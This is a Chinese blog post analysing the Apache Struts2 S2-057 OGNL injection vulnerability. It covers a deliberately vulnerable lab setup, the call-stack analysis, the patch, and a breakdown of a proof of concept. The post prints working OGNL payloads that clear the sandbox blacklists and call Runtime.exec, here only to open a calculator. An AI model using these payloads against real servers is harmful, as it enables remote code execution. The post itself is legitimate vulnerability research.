struts2漏洞分析（S2-057为例）

最新推荐文章于 2024-05-29 15:28:18 发布

hldfight

最新推荐文章于 2024-05-29 15:28:18 发布

阅读量2.8k

点赞数 4

分类专栏：代码审计

本文链接：https://blog.csdn.net/qsort_/article/details/105514645

版权

代码审计专栏收录该内容

13 篇文章 4 订阅

订阅专栏

0x00 前言

利用空闲时间分析了一下struts2框架的历史高危漏洞，发现除了S2-052（XStream反序列化漏洞）以外，其他漏洞的本质都是由于框架执行了恶意用户传进来的OGNL表达式，从而造成远程代码执行。
发生OGNL表达式注入的点也是多种多样，如：请求参数名、请求参数值、content-type请求头、文件上传时的filename值、url地址等等。
struts2官方在S2-005漏洞爆出之前就已经添加了沙箱进行安全防护，但是却被不断绕过。这里记录一下我分析S2-057的过程。

0x01 环境搭建

1、我是使用的IDEA创建的一个maven项目，为了方便，我创建项目时使用的maven提供的如下的archetype:
在这里插入图片描述
2、项目创建后，在src/main目录下创建一个目录resources（简单起见没有创建java源代码目录），如下：

目录创建完后还需要在Project Structure配置中，按照下图设置，将resources目录标记为Resources即可：

3、在pom.xml中引入struts2的依赖：

<dependency>
      <groupId>org.apache.struts</groupId>
      <artifactId>struts2-core</artifactId>
      <version>2.3.34</version>
</dependency>

4、在resources目录下创建struts.xml文件，内容为：

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>

    <!--S2-057漏洞需要开启alwaysSelectFullNamespace属性-->
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

    <package name="default" namespace="/*" extends="struts-default">

        <action name="test1">
            <result type="redirectAction">testAction</result>
        </action>

        <action name="test2">
            <result type="chain">testAction</result>
        </action>

        <action name="test3">
            <result type="postback">testAction</result>
        </action>

    </package>

</struts>

5、在src/main/webapp/WEB-INF/web.xml文件中的<web-app>标签中添加如下内容：

<filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

6、这时struts2环境就搭建上了，整个项目的目录结构如下：
在这里插入图片描述
7、然后就是配置上本地的tomcat：

8、tomcat配置完成后，点击如下按钮，配置上tomcat上运行的war包，以下两种方式均可：

9、到这就完成了所有配置，启动项目后，在可以在浏览器访问了。

0x02 漏洞检测

浏览器访问地址：
http://localhost:8080/$%7B22+22%7D/test1，即：
这时浏览器上的地址会被重定向到：
http://localhost:8080/44/testAction.action
在这里插入图片描述
可以看到OGNL表达式${22+22}被解析为了44，说明上面搭建的环境确实存在漏洞。

0x03 漏洞原理

s2-057漏洞存在需要有两个必要条件：
1、 alwaysSelectFullNamespace属性值为true
2.、存在缺省namespace的package，或namespace使用了通配符（如“/*”）

3.1 alwaysSelectFullNamespace属性作用

既然alwaysSelectFullNamespace属性值为true是漏洞存在的必要条件，那么在分析漏洞原理之前，我先了解了一下alwaysSelectFullNamespace属性的作用，当alwaysSelectFullNamespace属性值为true时，可以明确用户访问的action在属于指定namespace的package中，不会发生去其他package中搜索action的情况，从而避免发生一些无法预知的问题。
举个例子，访问http://localhost:8080/aaa/bbb/test地址时：
当alwaysSelectFullNamespace属性值为默认的false时，框架首先会查找有没有名为/aaa/bbb的namespace，如果没有，则会查找有没有名为/aaa的namespace，如果依然没有，则会查找名为/的namespace，就这样一直往上查找上一层namespace，中间只要找到存在的namespace，便会在该namespace的package下查找名为test的action。如果一直没有找到存在的namespace或者在存在的namespace中没有找到需要的action，这时框架就会去缺省namespace的package中查找action，如果仍未找到，便会返回404，找到了则会执行该action。
当alwaysSelectFullNamespace属性值修改为true时，他只会查找名为/aaa/bbb的namespace，如果找不到，则直接去缺省namespace的package中查找action，不会层层查找上一级namespace是否存在。因此避免了一些无法预知的问题的发生。
当web应用中使用了Struts2 Convention插件时，alwaysSelectFullNamespace属性值是会开启的。我在做代码审计项目时，有时遇到一些使用struts2框架的系统，没有发现有开发人员开启这个属性的情况（即使在高版本的struts2中，我也会好奇地去看一下，虽然没什么意义），可能因为遇到的使用struts2框架的系统太少了吧，毕竟现在大部分都用的ssm或springboot。

3.2 调用栈分析

这里我是通过参考漏洞发现者博客后进行分析的。
1、首先在org.apache.struts2.dispatcher.ServletActionRedirectResult#execute方法里设置断点，以调试模式启动项目，然后浏览器访问
http://localhost:8080/$%7B22+22%7D/test1
2、如下图可以看到，在处理redirectAction类型的跳转时的逻辑，先把namespace=“/${22+22}”和actionName=“testAction”封装到ActionMapping类型对象中，然后通过getUriFromActionMapping方法获取到完整url地址tmpLocation=“/${22+22}/testAction”，并将其赋值给this对象的location属性，最后调用父类的execute方法。
在这里插入图片描述
3、后面单步执行到其父类的父类的execute方法如下，看到调用了conditionalParse方法，并把location属性值传递了进入：

4、跟入该方法，看到了如下调用，就很熟悉了，该方法就是解析OGNL表达式的方法，看到将上面的location值传了进去：
在这里插入图片描述
5、于是“${22+22}”表达式就被成功解析了：

6、至于为什么要开启alwaysSelectFullNamespace属性？在org.apache.struts2.dispatcher.mapper.DefaultActionMapper#parseNameAndNamespace方法中解析uri时，如果alwaysSelectFullNamespace属性值为true，会进入如下分支：
在这里插入图片描述
上面的if分支中获取到uri中的namespae与action后，后面就将其添加到了mapping对象中，该mapping对象是ActionMapping类型

7、在org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter#doFilter方法中，在如下第一个红框里面获取到上面第6步中设置值的ActionMapping对象，然后在第二个红框中将该ActionMapping对象传了进去，经过一系列调用后到了上面第1到5步的调用流程。
在这里插入图片描述
8、由于整个调用栈很深，就没有一步一步跟进，只是分析了一下几个关键的地方，个人认为分析全部调用链也没意义。

0x04 漏洞修复

S2-057漏洞存在于小于等于 Struts 2.3.34 和 Struts 2.5.16的版本中，于是修改项目中依赖的struts2的版本为2.3.35，如下：

<dependency>
      <groupId>org.apache.struts</groupId>
      <artifactId>struts2-core</artifactId>
      <version>2.3.35</version>
</dependency>

然后启动项目，在org.apache.struts2.dispatcher.mapper.DefaultActionMapper#parseNameAndNamespace方法中可以看到如下代码：
在这里插入图片描述
与上面第3章第6步中的代码对比后发现在设置namespace值时使用了cleanupNamespaceName方法进行了校验，校验方法是进行正则匹配：

正则表达式是：

可以看到其只允许大小写字母和数字及“.”、“_”、“/”、“-”四种符号，因此就无法注入OGNL表达式了。

0x05 POC分析

上面漏洞分析过程中，只是简单的注入了${22+22}表达式，在网上找到了可执行命令的表达式，为了方便测试poc，我新建了一个test.jsp文件，然后使用<s:property value=“OGNL表达式”/>标签进行测试：

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
    <title>test</title>
</head>

<body>

    <s:property value="%{
	    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
	    (#context=#request['struts.valueStack'].context).
	    (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
	    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
	    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
	    (#context.setMemberAccess(#dm)).
	    (#p=@java.lang.Runtime@getRuntime().exec('calc'))
    }"/>

</body>
</html>

上面的OGNL表达式是执行calc命令弹出计算器。下面贴出测试S2-045时的POC：

<s:property value="%{
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
    (#context.setMemberAccess(#dm)).
    (#p=@java.lang.Runtime@getRuntime().exec('calc'))
}"/>

可以看到唯一的差别就是#context对象获取方式不同，在S2-045时，直接可以在上下文中获取，于是我把pom.xml中的struts2的版本修改为了2.3.31，查看ognl.OgnlContext#get方法，可以看到当请求“context”时，会返回该对象：
在这里插入图片描述
但修改到2.3.34版本时，再查看ognl.OgnlContext#get方法，发现已经去除了该分支：

因此无法通过在上下文中通过#context方法获取OgnlContext对象，但是在#request域中存在值栈对象，在值栈对象中存在OgnlContext对象，如下：
在这里插入图片描述
因此可在request域中获取context对象。POC中获取context对象后，后面的代码就是去绕过沙箱里的安全配置：
#ognlUtil.getExcludedPackageNames().clear()操作会清除黑名单中的包名，如下所示这三个包下的类是不能被解析的：
在这里插入图片描述
#ognlUtil.getExcludedClasses().clear()操作当然就是清除黑名单中类名，如下所示即为不能解析的全类名，可以看到两个执行命令的类均在黑名单：

上述黑名单清除后，#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS，#context.setMemberAccess(#dm)操作则是设置OgnlContext对象中的memberAccess属性为DefaultMemberAccess类型，因为OgnlContext中默认的memberAccess属性为SecurityMemberAccess类型，如下：
在这里插入图片描述
从上图中虽然可以看到前面清除黑名单的操作在这里也起了效果，但还是有必要将memberAccess属性设置为DefaultMemberAccess类型，因为在SecurityMemberAccess中还有诸如allowStaticMethodAccess等的安全属性进行限制。
经过这些设置，就可以绕过沙箱保护来执行命令了。

0x06 总结

1、上面POC分析中，我有个疑问，就是既然将OgnlContext对象中的memberAccess属性设置为了DefaultMemberAccess类型，那应该就没必要使用#ognlUtil.getExcludedPackageNames().clear()和#ognlUtil.getExcludedClasses().clear()操作来清除黑名单了，但是我把该操作删除，也就是直接执行如下ognl表达式时：

<s:property value="%{
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#context=#request['struts.valueStack'].context).
    (#context.setMemberAccess(#dm)).
    (#p=@java.lang.Runtime@getRuntime().exec('calc'))
}"/>

jsp页面会抛出如下异常：
在这里插入图片描述
从该异常中看不出是什么原因造成的，而且控制台也没有打印异常信息。
我又进行了另外一个测试，新建一个Action类，这一次在Action类中将OgnlContext对象中的memberAccess属性设置为了DefaultMemberAccess类型，如下:
在这里插入图片描述
在struts.xml中添加如下配置：

这时在浏览器访问http://localhost:8080/testAction时，页面会转发到test.jsp，并且成功弹出计算器，且没有抛出异常。
时间有限，就没有再继续分析上述抛异常原因了，希望有大佬能帮忙解惑。
2、学习到了发现S2-057漏洞的作者在他博客中讲述的一种挖掘源代码漏洞的方法，利用CodeQL进行语义分析，跟踪不受信任的数据源进入执行危险操作的方法中来挖掘漏洞，同时也想到了经常用到的Fortify也是基于这个原理来扫描源代码漏洞的，而且Fortify也可以自定义规则，因此计划后期把研究重点放在利用CodeQL和Fortify自定义规则进行语义分析来挖掘漏洞上面。

参考

https://securitylab.github.com/research/apache-struts-CVE-2018-11776

hldfight

关注

4
点赞
踩
11

收藏

觉得还不错? 一键收藏
1
评论
struts2漏洞分析（S2-057为例）

0x00 前言利用空闲时间分析了一下struts2框架的历史高危漏洞，发现除了S2-052（XStream反序列化漏洞）以外，其他漏洞的本质都是由于框架执行了恶意用户传进来的OGNL表达式，从而造成远程代码执行。只不过需要精心构造不同的OGNL代码而已。发生OGNL表达式注入的点也是多种多样，如：请求参数名、请求参数值、content-type请求头、文件上传时的filename值、url地址...
复制链接

扫一扫